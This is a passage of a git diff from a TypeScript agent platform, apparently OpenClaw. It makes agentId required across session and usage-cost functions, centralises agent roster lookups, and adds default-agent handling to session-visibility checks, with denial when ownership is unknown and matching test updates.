config?: OpenClawConfig; - agentId?: string; + agentId: string; agentDir?: string; maxFiles?: number; sessionFiles?: string[]; @@ -1639,7 +1636,7 @@ export async function loadCostUsageSummaryFromCache(params: { endMs: number; dayBucket?: UsageDailyBucket; config?: OpenClawConfig; - agentId?: string; + agentId: string; requestRefresh?: boolean; refreshMode?: "background" | "sync-when-empty"; }): Promise { @@ -1682,7 +1679,7 @@ export async function loadCostUsageSummaryFromCache(params: { export async function loadSessionCostSummariesFromCache(params: { sessions: Array<{ sessionId?: string; sessionFile: string }>; config?: OpenClawConfig; - agentId?: string; + agentId: string; startMs?: number; endMs?: number; includeUntimestamped?: boolean; @@ -1752,12 +1749,12 @@ export async function loadSessionCostSummariesFromCache(params: { }; } -function requestCostUsageCacheRefresh(params?: { +function requestCostUsageCacheRefresh(params: { config?: OpenClawConfig; - agentId?: string; + agentId: string; sessionFiles?: string[]; }): void { - const databasePath = resolveUsageCostCacheDatabasePath(params?.agentId); + const databasePath = resolveUsageCostCacheDatabasePath(params.agentId); const refreshKey = databasePath; const existing = usageCostRefreshes.get(refreshKey); if (existing) { @@ -1766,13 +1763,13 @@ function requestCostUsageCacheRefresh(params?: { } const state: UsageCostRefreshState = { - agentId: params?.agentId, - config: params?.config, + agentId: params.agentId, + config: params.config, databasePath, fullRefreshRequested: false, pendingSessionFiles: new Set(), running: false, - sessionsDir: resolveSessionTranscriptsDirForAgent(params?.agentId), + sessionsDir: resolveSessionTranscriptsDirForAgent(params.agentId), busyRetryDelayMs: USAGE_COST_REFRESH_RETRY_MIN_MS, }; mergeUsageCostRefreshRequest(state, params); @@ -1782,19 +1779,17 @@ function requestCostUsageCacheRefresh(params?: { function mergeUsageCostRefreshRequest( state: UsageCostRefreshState, - params?: { + params: { config?: OpenClawConfig; - agentId?: string; + agentId: string; sessionFiles?: string[]; }, ): void { - if (params?.config) { + if (params.config) { state.config = params.config; } - if (params?.agentId) { - state.agentId = params.agentId; - } - if (!params?.sessionFiles) { + state.agentId = params.agentId; + if (!params.sessionFiles) { state.fullRefreshRequested = true; return; } @@ -1891,14 +1886,14 @@ if (process.env.VITEST || process.env.NODE_ENV === "test") { * Scan all transcript files to discover sessions not in the session store. * Returns basic metadata for each discovered session. */ -export async function discoverAllSessions(params?: { - agentId?: string; +export async function discoverAllSessions(params: { + agentId: string; startMs?: number; endMs?: number; includeFirstUserMessage?: boolean; }): Promise { - const files = await listUsageCountedTranscriptStats(params?.agentId, { - minMtimeMs: params?.startMs, + const files = await listUsageCountedTranscriptStats(params.agentId, { + minMtimeMs: params.startMs, }); const discovered = new Map(); @@ -1917,7 +1912,7 @@ export async function discoverAllSessions(params?: { // Try to read first user message for label extraction let firstUserMessage: string | undefined; - if (params?.includeFirstUserMessage !== false) { + if (params.includeFirstUserMessage !== false) { try { for await (const parsed of readTranscriptRecords(filePath)) { try { @@ -1986,7 +1981,7 @@ export async function loadSessionCostSummary(params: { sessionEntry?: SessionEntry; sessionFile?: string; config?: OpenClawConfig; - agentId?: string; + agentId: string; startMs?: number; endMs?: number; includeUntimestamped?: boolean; @@ -2045,7 +2040,7 @@ export async function loadSessionUsageTimeSeries(params: { sessionEntry?: SessionEntry; sessionFile?: string; config?: OpenClawConfig; - agentId?: string; + agentId: string; maxPoints?: number; }): Promise { const sessionFile = resolveExistingUsageSessionFile(params); @@ -2159,7 +2154,7 @@ export async function loadSessionLogs(params: { sessionEntry?: SessionEntry; sessionFile?: string; config?: OpenClawConfig; - agentId?: string; + agentId: string; limit?: number; }): Promise { const sessionFile = resolveExistingUsageSessionFile(params); diff --git a/src/infra/state-migrations.doctor.ts b/src/infra/state-migrations.doctor.ts index 768ae05ea06d..303015059ca5 100644 --- a/src/infra/state-migrations.doctor.ts +++ b/src/infra/state-migrations.doctor.ts @@ -23,7 +23,12 @@ import { type PluginDoctorStateMigrationDetection, } from "../plugins/doctor-contract-registry.js"; import { resolveLegacyInstalledPluginIndexStorePath } from "../plugins/installed-plugin-index-store.js"; -import { DEFAULT_ACCOUNT_ID, DEFAULT_MAIN_KEY, normalizeAgentId } from "../routing/session-key.js"; +import { + DEFAULT_ACCOUNT_ID, + DEFAULT_MAIN_KEY, + LEGACY_IMPLICIT_AGENT_ID, + normalizeAgentId, +} from "../routing/session-key.js"; import { detectOpenClawStateDatabaseSchemaMigrations, repairOpenClawStateDatabaseSchema, @@ -282,6 +287,15 @@ function createPluginDoctorStateMigrationContext( }; } +function resolveDoctorStateMigrationAgentId(cfg: OpenClawConfig): string { + try { + return normalizeAgentId(resolveDefaultAgentId(cfg)); + } catch { + // Detection must still inspect malformed/pre-roster state so Doctor can repair it. + return LEGACY_IMPLICIT_AGENT_ID; + } +} + export async function detectLegacyStateMigrations(params: { cfg: OpenClawConfig; pluginDoctorConfig?: OpenClawConfig; @@ -296,7 +310,7 @@ export async function detectLegacyStateMigrations(params: { const stateDir = resolveStateDir(env, homedir); const oauthDir = resolveOAuthDir(env, stateDir); - const targetAgentId = normalizeAgentId(resolveDefaultAgentId(params.cfg)); + const targetAgentId = resolveDoctorStateMigrationAgentId(params.cfg); const rawMainKey = params.cfg.session?.mainKey; const targetMainKey = typeof rawMainKey === "string" && rawMainKey.trim().length > 0 diff --git a/src/infra/state-migrations.onboarding-recommendations.test.ts b/src/infra/state-migrations.onboarding-recommendations.test.ts index a837267b0dec..413aa2f44976 100644 --- a/src/infra/state-migrations.onboarding-recommendations.test.ts +++ b/src/infra/state-migrations.onboarding-recommendations.test.ts @@ -73,7 +73,12 @@ describe("onboarding recommendations scope migration", () => { }); const result = migrateLegacyOnboardingRecommendationsScope({ - cfg: { agents: { defaults: { workspace: state.workspaceDir } } } as OpenClawConfig, + cfg: { + agents: { + defaults: { workspace: state.workspaceDir }, + entries: { main: { default: true } }, + }, + } as OpenClawConfig, env: state.env, }); @@ -120,7 +125,12 @@ describe("onboarding recommendations scope migration", () => { }); const result = migrateLegacyOnboardingRecommendationsScope({ - cfg: { agents: { defaults: { workspace: state.workspaceDir } } } as OpenClawConfig, + cfg: { + agents: { + defaults: { workspace: state.workspaceDir }, + entries: { main: { default: true } }, + }, + } as OpenClawConfig, env: state.env, }); diff --git a/src/infra/state-migrations.session-roundtrip.test.ts b/src/infra/state-migrations.session-roundtrip.test.ts index f10424d107a9..0d704ac1458f 100644 --- a/src/infra/state-migrations.session-roundtrip.test.ts +++ b/src/infra/state-migrations.session-roundtrip.test.ts @@ -34,7 +34,12 @@ describe("session key write/read round-trip (#29683)", () => { const mainKey = normalizeMainKey(cfg.session?.mainKey); // Write path: resolveSessionKey + canonicalize (as in initSessionState) - const rawWriteKey = resolveSessionKey("per-sender", { From: "+1234567890" }, mainKey); + const rawWriteKey = resolveSessionKey( + "per-sender", + { From: "+1234567890" }, + mainKey, + agentId, + ); const writeKey = canonicalizeMainSessionAlias({ cfg, agentId, @@ -53,7 +58,12 @@ describe("session key write/read round-trip (#29683)", () => { const agentId = "ops"; const mainKey = normalizeMainKey(cfg.session?.mainKey); - const rawWriteKey = resolveSessionKey("per-sender", { From: "+1234567890" }, mainKey); + const rawWriteKey = resolveSessionKey( + "per-sender", + { From: "+1234567890" }, + mainKey, + agentId, + ); const writeKey = canonicalizeMainSessionAlias({ cfg, agentId, @@ -99,6 +109,7 @@ describe("session key write/read round-trip (#29683)", () => { "per-sender", { From: "group:discord:group:123456789" }, mainKey, + agentId, ); const writeKey = canonicalizeMainSessionAlias({ cfg, @@ -116,10 +127,13 @@ describe("session key write/read round-trip (#29683)", () => { describe("no-op when default agent is main", () => { it("write and gateway canonical keys match when agent is main", () => { - const cfg = { session: { scope: "per-sender" } } as OpenClawConfig; + const cfg = { + agents: { entries: { main: { default: true } } }, + session: { scope: "per-sender" }, + } as OpenClawConfig; const mainKey = normalizeMainKey(cfg.session?.mainKey); - const rawWriteKey = resolveSessionKey("per-sender", { From: "+1234567890" }, mainKey); + const rawWriteKey = resolveSessionKey("per-sender", { From: "+1234567890" }, mainKey, "main"); const writeKey = canonicalizeMainSessionAlias({ cfg, agentId: "main", diff --git a/src/infra/state-migrations.session-store.ts b/src/infra/state-migrations.session-store.ts index afcb29b0c218..d3bc6415a4ca 100644 --- a/src/infra/state-migrations.session-store.ts +++ b/src/infra/state-migrations.session-store.ts @@ -3,6 +3,7 @@ import os from "node:os"; import path from "node:path"; import { normalizeLowercaseStringOrEmpty } from "@openclaw/normalization-core/string-coerce"; import { writeAcpSessionMetaForMigration } from "../acp/runtime/session-meta.js"; +import { listAgentEntries } from "../agents/agent-scope-config.js"; import { resolveStateDir } from "../config/paths.js"; import type { SessionEntry } from "../config/sessions.js"; import { canonicalizeMainSessionAlias } from "../config/sessions/main-session.js"; @@ -20,7 +21,7 @@ import { listPluginDoctorSessionStoreAgentIds, } from "../plugins/doctor-contract-registry.js"; import { - DEFAULT_AGENT_ID, + LEGACY_IMPLICIT_AGENT_ID as DEFAULT_AGENT_ID, DEFAULT_MAIN_KEY, isValidAgentId, normalizeAgentId, @@ -950,7 +951,7 @@ export async function migrateLegacyAcpSessionMetadata(params: { const pluginTargets = declaredTargets.filter( ({ agentId }) => agentId !== DEFAULT_AGENT_ID && normalizedPluginAgentIds.has(agentId), ); - const configuredAgents = Array.isArray(params.cfg.agents?.list) ? params.cfg.agents.list : []; + const configuredAgents = listAgentEntries(params.cfg); const configuredAgentIds = new Set( configuredAgents.flatMap((entry) => (entry?.id ? [normalizeAgentId(entry.id)] : [])), ); diff --git a/src/media/local-roots.test.ts b/src/media/local-roots.test.ts index 9f080f7318b7..8dd7a32ac256 100644 --- a/src/media/local-roots.test.ts +++ b/src/media/local-roots.test.ts @@ -2,14 +2,33 @@ import path from "node:path"; import { pathToFileURL } from "node:url"; import { describe, expect, it } from "vitest"; +import { migratePersistedImplicitMainRoster } from "../config/legacy.roster.js"; +import type { OpenClawConfig } from "../config/types.openclaw.js"; import { withEnv } from "../test-utils/env.js"; import { appendLocalMediaParentRoots, - getAgentScopedMediaLocalRoots, - getAgentScopedMediaLocalRootsForSources, + getAgentScopedMediaLocalRoots as getAgentScopedMediaLocalRootsBase, + getAgentScopedMediaLocalRootsForSources as getAgentScopedMediaLocalRootsForSourcesBase, getDefaultMediaLocalRoots, } from "./local-roots.js"; +function loadedConfig(config: OpenClawConfig): OpenClawConfig { + return migratePersistedImplicitMainRoster(config).config as OpenClawConfig; +} + +function getAgentScopedMediaLocalRoots(config: OpenClawConfig, agentId: string) { + return getAgentScopedMediaLocalRootsBase(loadedConfig(config), agentId); +} + +function getAgentScopedMediaLocalRootsForSources( + params: Parameters[0], +) { + return getAgentScopedMediaLocalRootsForSourcesBase({ + ...params, + cfg: loadedConfig(params.cfg), + }); +} + function normalizeHostPath(value: string): string { return path.normalize(path.resolve(value)); } diff --git a/src/memory-host-sdk/dreaming.test.ts b/src/memory-host-sdk/dreaming.test.ts index e1715247abcf..b517c2a79eff 100644 --- a/src/memory-host-sdk/dreaming.test.ts +++ b/src/memory-host-sdk/dreaming.test.ts @@ -210,7 +210,7 @@ describe("memory dreaming host helpers", () => { const cfg = { agents: { list: [ - { id: "alpha", workspace: "/workspace/shared" }, + { id: "alpha", default: true, workspace: "/workspace/shared" }, { id: "beta", workspace: "/workspace/beta" }, { id: "gamma", workspace: "/workspace/shared" }, ], @@ -233,7 +233,7 @@ describe("memory dreaming host helpers", () => { const cfg = { agents: { list: [ - { id: "agi-ceo", workspace: "/workspace/agi-ceo" }, + { id: "agi-ceo", default: true, workspace: "/workspace/agi-ceo" }, { id: "agi-cdo", workspace: "/workspace/agi-cdo" }, ], }, @@ -266,6 +266,7 @@ describe("memory dreaming host helpers", () => { defaults: { workspace: "/workspace", }, + entries: { main: { default: true } }, }, } as OpenClawConfig; diff --git a/src/memory-host-sdk/dreaming.ts b/src/memory-host-sdk/dreaming.ts index cda49a375d1d..65b7c2e41ae6 100644 --- a/src/memory-host-sdk/dreaming.ts +++ b/src/memory-host-sdk/dreaming.ts @@ -12,7 +12,11 @@ import { normalizeOptionalLowercaseString, normalizeStringifiedOptionalString, } from "@openclaw/normalization-core/string-coerce"; -import { resolveAgentWorkspaceDir, resolveDefaultAgentId } from "../agents/agent-scope.js"; +import { + listAgentEntries, + resolveAgentWorkspaceDir, + resolveDefaultAgentId, +} from "../agents/agent-scope.js"; import type { OpenClawConfig } from "../config/types.openclaw.js"; const DEFAULT_MEMORY_DREAMING_ENABLED = false; @@ -581,7 +585,7 @@ export function resolveMemoryDreamingWorkspaces( cfg: OpenClawConfig, options: MemoryDreamingWorkspaceOptions = {}, ): MemoryDreamingWorkspace[] { - const configured = Array.isArray(cfg.agents?.list) ? cfg.agents.list : []; + const configured = listAgentEntries(cfg); const agentIds: string[] = []; const seenAgents = new Set(); for (const entry of configured) { diff --git a/src/node-host/invoke-system-run-allowlist.test.ts b/src/node-host/invoke-system-run-allowlist.test.ts index b71cf8bb2833..23d058905ca6 100644 --- a/src/node-host/invoke-system-run-allowlist.test.ts +++ b/src/node-host/invoke-system-run-allowlist.test.ts @@ -208,6 +208,7 @@ describe("resolveSystemRunExecArgv", () => { expect(bareResult.stdout).not.toContain("TRUSTED_EXECUTABLE"); const approvals = resolveExecApprovalsFromFile({ + agentId: "main", file: { version: 1, defaults: { security: "allowlist", ask: "off", askFallback: "deny" }, diff --git a/src/node-host/invoke-system-run.test.ts b/src/node-host/invoke-system-run.test.ts index 64e350abb588..fbf27251a8bc 100644 --- a/src/node-host/invoke-system-run.test.ts +++ b/src/node-host/invoke-system-run.test.ts @@ -128,12 +128,14 @@ describe("handleSystemRunInvoke mac app exec host routing", () => { } function bindCurrentPolicyToPlan(plan: SystemRunApprovalPlan): SystemRunApprovalPlan { + const agentId = plan.agentId ?? "main"; return { ...plan, + agentId, sessionKey: plan.sessionKey ?? "agent:main:main", policySnapshot: createExecApprovalPolicySnapshot({ file: loadExecApprovals(), - agentId: plan.agentId ?? undefined, + agentId, }), }; } @@ -555,21 +557,27 @@ describe("handleSystemRunInvoke mac app exec host routing", () => { let dispatchCommand = command; let dispatchRawCommand = params.rawCommand; let dispatchCwd = params.cwd; - let dispatchAgentId = params.agentId; + let dispatchAgentId: string | undefined = params.agentId ?? "main"; const forwardsDelayedApproval = params.approvalSource === "auto-review" || params.approved === true || params.approvalDecision === "allow" || params.approvalDecision === "allow-once" || params.approvalDecision === "allow-always"; - let systemRunPlan = params.systemRunPlan; + let systemRunPlan: SystemRunApprovalPlan | undefined = params.systemRunPlan + ? { + ...params.systemRunPlan, + agentId: params.systemRunPlan.agentId ?? dispatchAgentId, + sessionKey: params.systemRunPlan.sessionKey ?? "agent:main:main", + } + : undefined; if (forwardsDelayedApproval && params.prepareDelayedApprovalPlan !== false) { if (!systemRunPlan) { const prepared = buildSystemRunApprovalPlan({ command, rawCommand: params.rawCommand, cwd: params.cwd, - agentId: params.agentId, + agentId: dispatchAgentId, sessionKey: "agent:main:main", }); if (!prepared.ok) { diff --git a/src/node-host/invoke-system-run.ts b/src/node-host/invoke-system-run.ts index 7eef70ba3422..d801636417b2 100644 --- a/src/node-host/invoke-system-run.ts +++ b/src/node-host/invoke-system-run.ts @@ -1,6 +1,7 @@ /** Policy and execution pipeline for approved node-host system.run requests. */ import crypto from "node:crypto"; import { normalizeOptionalString } from "@openclaw/normalization-core/string-coerce"; +import { resolveAgentConfig } from "../agents/agent-scope-config.js"; import type { OpenClawConfig } from "../config/types.openclaw.js"; import { describeInterpreterInlineEval, @@ -48,7 +49,6 @@ import { import { normalizeSystemRunApprovalPlan } from "../infra/system-run-approval-binding.js"; import { formatExecCommand, resolveSystemRunCommandRequest } from "../infra/system-run-command.js"; import { logWarn } from "../logger.js"; -import { normalizeAgentId } from "../routing/session-key.js"; import type { NodeHostClient } from "./client.js"; import { evaluateSystemRunPolicy, resolveExecApprovalDecision } from "./exec-policy.js"; import { @@ -197,14 +197,7 @@ function resolveAgentExecConfig( if (!agentId) { return undefined; } - const normalizedAgentId = normalizeAgentId(agentId); - const entry = cfg.agents?.list?.find( - (candidate) => - candidate !== null && - typeof candidate === "object" && - normalizeAgentId(candidate.id) === normalizedAgentId, - ); - return entry?.tools?.exec; + return resolveAgentConfig(cfg, agentId)?.tools?.exec; } /** Resolves the effective exec security/ask policy for one system.run request. */ diff --git a/src/plugin-sdk/session-store-runtime.ts b/src/plugin-sdk/session-store-runtime.ts index 42be66194e88..22052129607e 100644 --- a/src/plugin-sdk/session-store-runtime.ts +++ b/src/plugin-sdk/session-store-runtime.ts @@ -10,6 +10,7 @@ import { } from "../config/sessions/ambient-transcript-watermark.js"; import { resolveStorePath as resolveSessionStorePath } from "../config/sessions/paths.js"; import { resolveSessionFilePath as resolveLegacySessionFilePath } from "../config/sessions/paths.js"; +export { SessionStoreAgentIdRequiredError } from "../config/sessions/paths.js"; import { applySessionStoreProjection as applyAccessorSessionStoreProjection, cleanupSessionLifecycleArtifacts as cleanupAccessorSessionLifecycleArtifacts, diff --git a/src/plugin-sdk/session-visibility.test.ts b/src/plugin-sdk/session-visibility.test.ts index 91337bf99ec0..04249c2dc189 100644 --- a/src/plugin-sdk/session-visibility.test.ts +++ b/src/plugin-sdk/session-visibility.test.ts @@ -1,7 +1,110 @@ import { describe, expect, it } from "vitest"; -import { createAgentToAgentPolicy, createSessionVisibilityChecker } from "./session-visibility.js"; +import { + createAgentToAgentPolicy, + createSessionVisibilityChecker, + createSessionVisibilityRowChecker, +} from "./session-visibility.js"; describe("scoped session access providers", () => { + it("does not assign an unscoped default-agent row to a non-default requester", () => { + const checker = createSessionVisibilityChecker({ + action: "history", + defaultAgentId: "main", + requesterAgentId: "work", + requesterSessionKey: "agent:work:main", + visibility: "agent", + a2aPolicy: createAgentToAgentPolicy({}), + spawnedKeys: null, + }); + + expect(checker.check("main")).toEqual({ + allowed: false, + status: "forbidden", + error: + "Session history visibility is restricted. Set tools.sessions.visibility=all and tools.agentToAgent.enabled=true to allow cross-agent access; use tools.agentToAgent.allow to restrict permitted agent pairs.", + }); + }); + + it("fails closed for an unscoped row without configured ownership", () => { + const checker = createSessionVisibilityChecker({ + action: "history", + requesterAgentId: "work", + requesterSessionKey: "agent:work:main", + visibility: "all", + a2aPolicy: createAgentToAgentPolicy({}), + spawnedKeys: null, + }); + + expect(checker.check("main")).toEqual({ + allowed: false, + status: "forbidden", + error: "Session history denied because target agent ownership is unavailable.", + }); + }); + + it("keeps exact and current self aliases available without a configured default", () => { + const checker = createSessionVisibilityChecker({ + action: "history", + requesterAgentId: "work", + requesterSessionKey: "main", + visibility: "self", + a2aPolicy: createAgentToAgentPolicy({}), + spawnedKeys: null, + }); + + expect(checker.check("main")).toEqual({ allowed: true }); + expect(checker.check("current")).toEqual({ allowed: true }); + }); + + it("keeps explicit row ownership authoritative when a bare key matches the requester", () => { + const checker = createSessionVisibilityRowChecker({ + action: "history", + defaultAgentId: "main", + requesterAgentId: "work", + requesterSessionKey: "main", + visibility: "agent", + a2aPolicy: createAgentToAgentPolicy({}), + }); + + expect(checker.check({ key: "main", agentId: "main" })).toEqual({ + allowed: false, + status: "forbidden", + error: + "Session history visibility is restricted. Set tools.sessions.visibility=all and tools.agentToAgent.enabled=true to allow cross-agent access; use tools.agentToAgent.allow to restrict permitted agent pairs.", + }); + }); + + it("resolves a bare requester alias through the configured default before row metadata exists", () => { + const checker = createSessionVisibilityRowChecker({ + action: "send", + defaultAgentId: "main", + requesterAgentId: "work", + requesterSessionKey: "main", + visibility: "agent", + a2aPolicy: createAgentToAgentPolicy({}), + }); + + expect(checker.check({ key: "main" })).toEqual({ + allowed: false, + status: "forbidden", + error: + "Session send visibility is restricted. Set tools.sessions.visibility=all and tools.agentToAgent.enabled=true to allow cross-agent access; use tools.agentToAgent.allow to restrict permitted agent pairs.", + }); + }); + + it("keeps the current alias requester-owned when a configured default exists", () => { + const checker = createSessionVisibilityRowChecker({ + action: "history", + defaultAgentId: "main", + requesterAgentId: "work", + requesterSessionKey: "agent:work:main", + visibility: "self", + a2aPolicy: createAgentToAgentPolicy({}), + }); + + expect(checker.check({ key: "current" })).toEqual({ allowed: true }); + }); + it("grants only the exact requester, target, and action supplied by a provider", () => { const makeChecker = (action: "history" | "send") => createSessionVisibilityChecker({ diff --git a/src/plugin-sdk/session-visibility.ts b/src/plugin-sdk/session-visibility.ts index 80538f89b755..dae5a0bb25d2 100644 --- a/src/plugin-sdk/session-visibility.ts +++ b/src/plugin-sdk/session-visibility.ts @@ -308,6 +308,7 @@ function treeVisibilityMessage(action: SessionAccessAction): string { /** Create a direct session-key visibility checker for one requester/action pair. */ function createSessionVisibilityCheckerImpl(params: { action: SessionAccessAction; + defaultAgentId?: string; requesterAgentId?: string; requesterSessionKey: string; visibility: SessionToolsVisibility; @@ -317,6 +318,7 @@ function createSessionVisibilityCheckerImpl(params: { const spawnedKeys = params.spawnedKeys; const rowChecker = createSessionVisibilityRowChecker({ action: params.action, + defaultAgentId: params.defaultAgentId, requesterAgentId: params.requesterAgentId, requesterSessionKey: params.requesterSessionKey, visibility: params.visibility, @@ -361,6 +363,7 @@ function rowOwnedByRequester(row: SessionVisibilityRow, requesterSessionKey: str /** Create a row-aware visibility checker that can use owner/spawn metadata. */ export function createSessionVisibilityRowChecker(params: { action: SessionAccessAction; + defaultAgentId?: string; requesterAgentId?: string; requesterSessionKey: string; visibility: SessionToolsVisibility; @@ -368,14 +371,32 @@ export function createSessionVisibilityRowChecker(params: { }): { check: (row: SessionVisibilityRow) => SessionAccessResult } { const requesterAgentId = normalizeLowercaseStringOrEmpty(params.requesterAgentId) || - resolveAgentIdFromSessionKey(params.requesterSessionKey); + resolveAgentIdFromSessionKey(params.requesterSessionKey, params.defaultAgentId); let watchedSessionKeys: Set | undefined; const check = (row: SessionVisibilityRow): SessionAccessResult => { const targetSessionKey = row.key; - const targetAgentId = row.agentId ?? resolveAgentIdFromSessionKey(targetSessionKey); const isRequesterSession = targetSessionKey === params.requesterSessionKey || targetSessionKey === "current"; + let targetAgentId = normalizeLowercaseStringOrEmpty(row.agentId); + if ( + !targetAgentId && + (targetSessionKey === "current" || + (targetSessionKey === params.requesterSessionKey && !params.defaultAgentId?.trim())) + ) { + targetAgentId = requesterAgentId; + } + if (!targetAgentId) { + try { + targetAgentId = resolveAgentIdFromSessionKey(targetSessionKey, params.defaultAgentId); + } catch { + return { + allowed: false, + status: "forbidden", + error: `${actionPrefix(params.action)} denied because target agent ownership is unavailable.`, + }; + } + } // Only durable ambient-group provenance makes the target ownership-equivalent // for same-agent reads. Explicit A2A watches, send access, and cross-agent // targets remain fail-closed. @@ -447,6 +468,7 @@ export function createSessionVisibilityRowChecker(params: { /** Create a visibility guard, loading spawned-session ownership when direct keys need it. */ export async function createSessionVisibilityGuard(params: { action: SessionAccessAction; + defaultAgentId?: string; requesterAgentId?: string; requesterSessionKey: string; visibility: SessionToolsVisibility; @@ -462,6 +484,7 @@ export async function createSessionVisibilityGuard(params: { : null; return createSessionVisibilityChecker({ action: params.action, + defaultAgentId: params.defaultAgentId, requesterAgentId: params.requesterAgentId, requesterSessionKey: params.requesterSessionKey, visibility: params.visibility, diff --git a/src/plugins/contracts/host-hooks.contract.test.ts b/src/plugins/contracts/host-hooks.contract.test.ts index e8f5e2137ecc..3adfddc19b44 100644 --- a/src/plugins/contracts/host-hooks.contract.test.ts +++ b/src/plugins/contracts/host-hooks.contract.test.ts @@ -88,7 +88,10 @@ function loadSessionStore( _options?: { skipCache?: boolean }, ): Record { return Object.fromEntries( - listSessionEntries({ storePath }).map(({ sessionKey, entry }) => [sessionKey, entry]), + listSessionEntries({ agentId: "main", storePath }).map(({ sessionKey, entry }) => [ + sessionKey, + entry, + ]), ); } @@ -124,6 +127,7 @@ async function withHostHookState( prefix: string, run: (fixture: HostHookStateFixture) => Promise, createTempConfig: (storePath: string) => HostHookStateFixture["tempConfig"] = (storePath) => ({ + agents: { entries: { main: { default: true } } }, session: { store: storePath }, }), ): Promise { diff --git a/src/plugins/contracts/session-attachments.contract.test.ts b/src/plugins/contracts/session-attachments.contract.test.ts index e4a99400ce46..74ce95d3e379 100644 --- a/src/plugins/contracts/session-attachments.contract.test.ts +++ b/src/plugins/contracts/session-attachments.contract.test.ts @@ -259,7 +259,7 @@ describe("plugin session attachments", () => { config: { session: { store: storePath }, agents: { - list: [{ id: "main", workspace: workspaceDir }], + list: [{ id: "main", default: true, workspace: workspaceDir }], }, }, }); diff --git a/src/plugins/contracts/session-entry-projection.contract.test.ts b/src/plugins/contracts/session-entry-projection.contract.test.ts index 005c161c6daa..5b86a528f574 100644 --- a/src/plugins/contracts/session-entry-projection.contract.test.ts +++ b/src/plugins/contracts/session-entry-projection.contract.test.ts @@ -50,7 +50,10 @@ function loadSessionStore( _options?: { skipCache?: boolean }, ): Record { return Object.fromEntries( - listSessionEntries({ storePath }).map(({ sessionKey, entry }) => [sessionKey, entry]), + listSessionEntries({ agentId: "main", storePath }).map(({ sessionKey, entry }) => [ + sessionKey, + entry, + ]), ); } @@ -74,7 +77,10 @@ async function withProjectionSessionStore( ): Promise { const stateDir = await fs.mkdtemp(path.join(resolvePreferredOpenClawTmpDir(), prefix)); const storePath = path.join(stateDir, "sessions.json"); - const tempConfig = { session: { store: storePath } }; + const tempConfig = { + agents: { entries: { main: { default: true } } }, + session: { store: storePath }, + }; try { return await withEnvAsync( { OPENCLAW_STATE_DIR: stateDir }, diff --git a/src/plugins/gateway-startup-plugin-config.ts b/src/plugins/gateway-startup-plugin-config.ts index dbd6d1d8a975..cb1eb8c70ba2 100644 --- a/src/plugins/gateway-startup-plugin-config.ts +++ b/src/plugins/gateway-startup-plugin-config.ts @@ -2,6 +2,7 @@ import { collectConfiguredModelRefs } from "@openclaw/model-catalog-core/configured-model-refs"; import { isRecord } from "@openclaw/normalization-core/record-coerce"; import { normalizeOptionalLowercaseString } from "@openclaw/normalization-core/string-coerce"; +import { listAgentEntries } from "../agents/agent-scope-config.js"; import { splitTrailingAuthProfile } from "../agents/model-ref-profile.js"; import { listExplicitlyDisabledChannelIdsForConfig, @@ -390,10 +391,8 @@ function collectValidationHeartbeatTargetChannelIds(config: OpenClawConfig): str channelIds.push(normalized); }; pushTarget(config.agents?.defaults?.heartbeat?.target); - if (Array.isArray(config.agents?.list)) { - for (const agent of config.agents.list) { - pushTarget(agent?.heartbeat?.target); - } + for (const agent of listAgentEntries(config)) { + pushTarget(agent?.heartbeat?.target); } return sortUniquePluginIds(channelIds); } diff --git a/src/plugins/gateway-startup-plugin-providers.ts b/src/plugins/gateway-startup-plugin-providers.ts index cfa82e1f890b..1e567f0e6465 100644 --- a/src/plugins/gateway-startup-plugin-providers.ts +++ b/src/plugins/gateway-startup-plugin-providers.ts @@ -9,6 +9,7 @@ import { } from "@openclaw/model-catalog-core/provider-id"; import { isRecord } from "@openclaw/normalization-core/record-coerce"; import { normalizeOptionalLowercaseString } from "@openclaw/normalization-core/string-coerce"; +import { listAgentEntries } from "../agents/agent-scope-config.js"; import type { OpenClawConfig } from "../config/types.openclaw.js"; import { planManifestModelCatalogRows } from "../model-catalog/manifest-planner.js"; import { resolveConfiguredGenericEmbeddingProviderId } from "./embedding-provider-config.js"; @@ -144,8 +145,7 @@ export function collectConfiguredAgentModelProviderIds( addModelProviderRefs(defaults?.utilityModel); addModelMapProviderIds(defaults?.models); - const agents = Array.isArray(config.agents?.list) ? config.agents.list : []; - for (const agent of agents) { + for (const agent of listAgentEntries(config)) { if (!isRecord(agent)) { continue; } @@ -366,8 +366,7 @@ export function collectConfiguredMemoryEmbeddingStartupProviderOwners( } }; addEffectiveProviders(undefined); - const agents = config.agents?.list; - const agentEntries = Array.isArray(agents) ? agents.filter(isRecord) : []; + const agentEntries = listAgentEntries(config); if (agentEntries.length === 0) { return [...byConfiguredIdAndSource.values()]; } diff --git a/src/plugins/gateway-startup-speech-providers.ts b/src/plugins/gateway-startup-speech-providers.ts index a6d90011bc22..ac079252812c 100644 --- a/src/plugins/gateway-startup-speech-providers.ts +++ b/src/plugins/gateway-startup-speech-providers.ts @@ -1,6 +1,7 @@ // Collects startup speech provider metadata from plugin manifests. import { isRecord } from "@openclaw/normalization-core/record-coerce"; import { normalizeOptionalLowercaseString } from "@openclaw/normalization-core/string-coerce"; +import { listAgentEntries } from "../agents/agent-scope-config.js"; import type { OpenClawConfig } from "../config/types.openclaw.js"; import { resolveEffectiveTtsConfig } from "../tts/tts-config.js"; @@ -146,20 +147,11 @@ export function collectConfiguredSpeechProviderIds(config: OpenClawConfig): Read const configured = new Set(); addConfiguredTtsProviderIds(configured, resolveEffectiveTtsConfig(config)); - const agents = config.agents; - if (isRecord(agents) && Array.isArray(agents.list)) { - for (const agent of agents.list) { - if (isRecord(agent)) { - if (typeof agent.id === "string") { - addConfiguredTtsProviderIds( - configured, - resolveEffectiveTtsConfig(config, { agentId: agent.id }), - ); - } else { - addConfiguredTtsProviderIds(configured, agent.tts); - } - } - } + for (const agent of listAgentEntries(config)) { + addConfiguredTtsProviderIds( + configured, + resolveEffectiveTtsConfig(config, { agentId: agent.id }), + ); } const channels = config.channels; diff --git a/src/plugins/provider-auth-choice-helpers.ts b/src/plugins/provider-auth-choice-helpers.ts index 64c20d6d267b..2a2d813dbf48 100644 --- a/src/plugins/provider-auth-choice-helpers.ts +++ b/src/plugins/provider-auth-choice-helpers.ts @@ -5,6 +5,11 @@ import { normalizeOptionalLowercaseString, normalizeOptionalString, } from "@openclaw/normalization-core/string-coerce"; +import { + listAgentEntries, + readAgentRosterProperty, + toAgentEntriesRecord, +} from "../agents/agent-scope-config.js"; import { normalizeConfiguredProviderCatalogModelId } from "../agents/model-ref-shared.js"; import { normalizeProviderId } from "../agents/model-selection.js"; import { @@ -263,7 +268,8 @@ function normalizeConfigModelRefsForWrite( ): OpenClawConfig 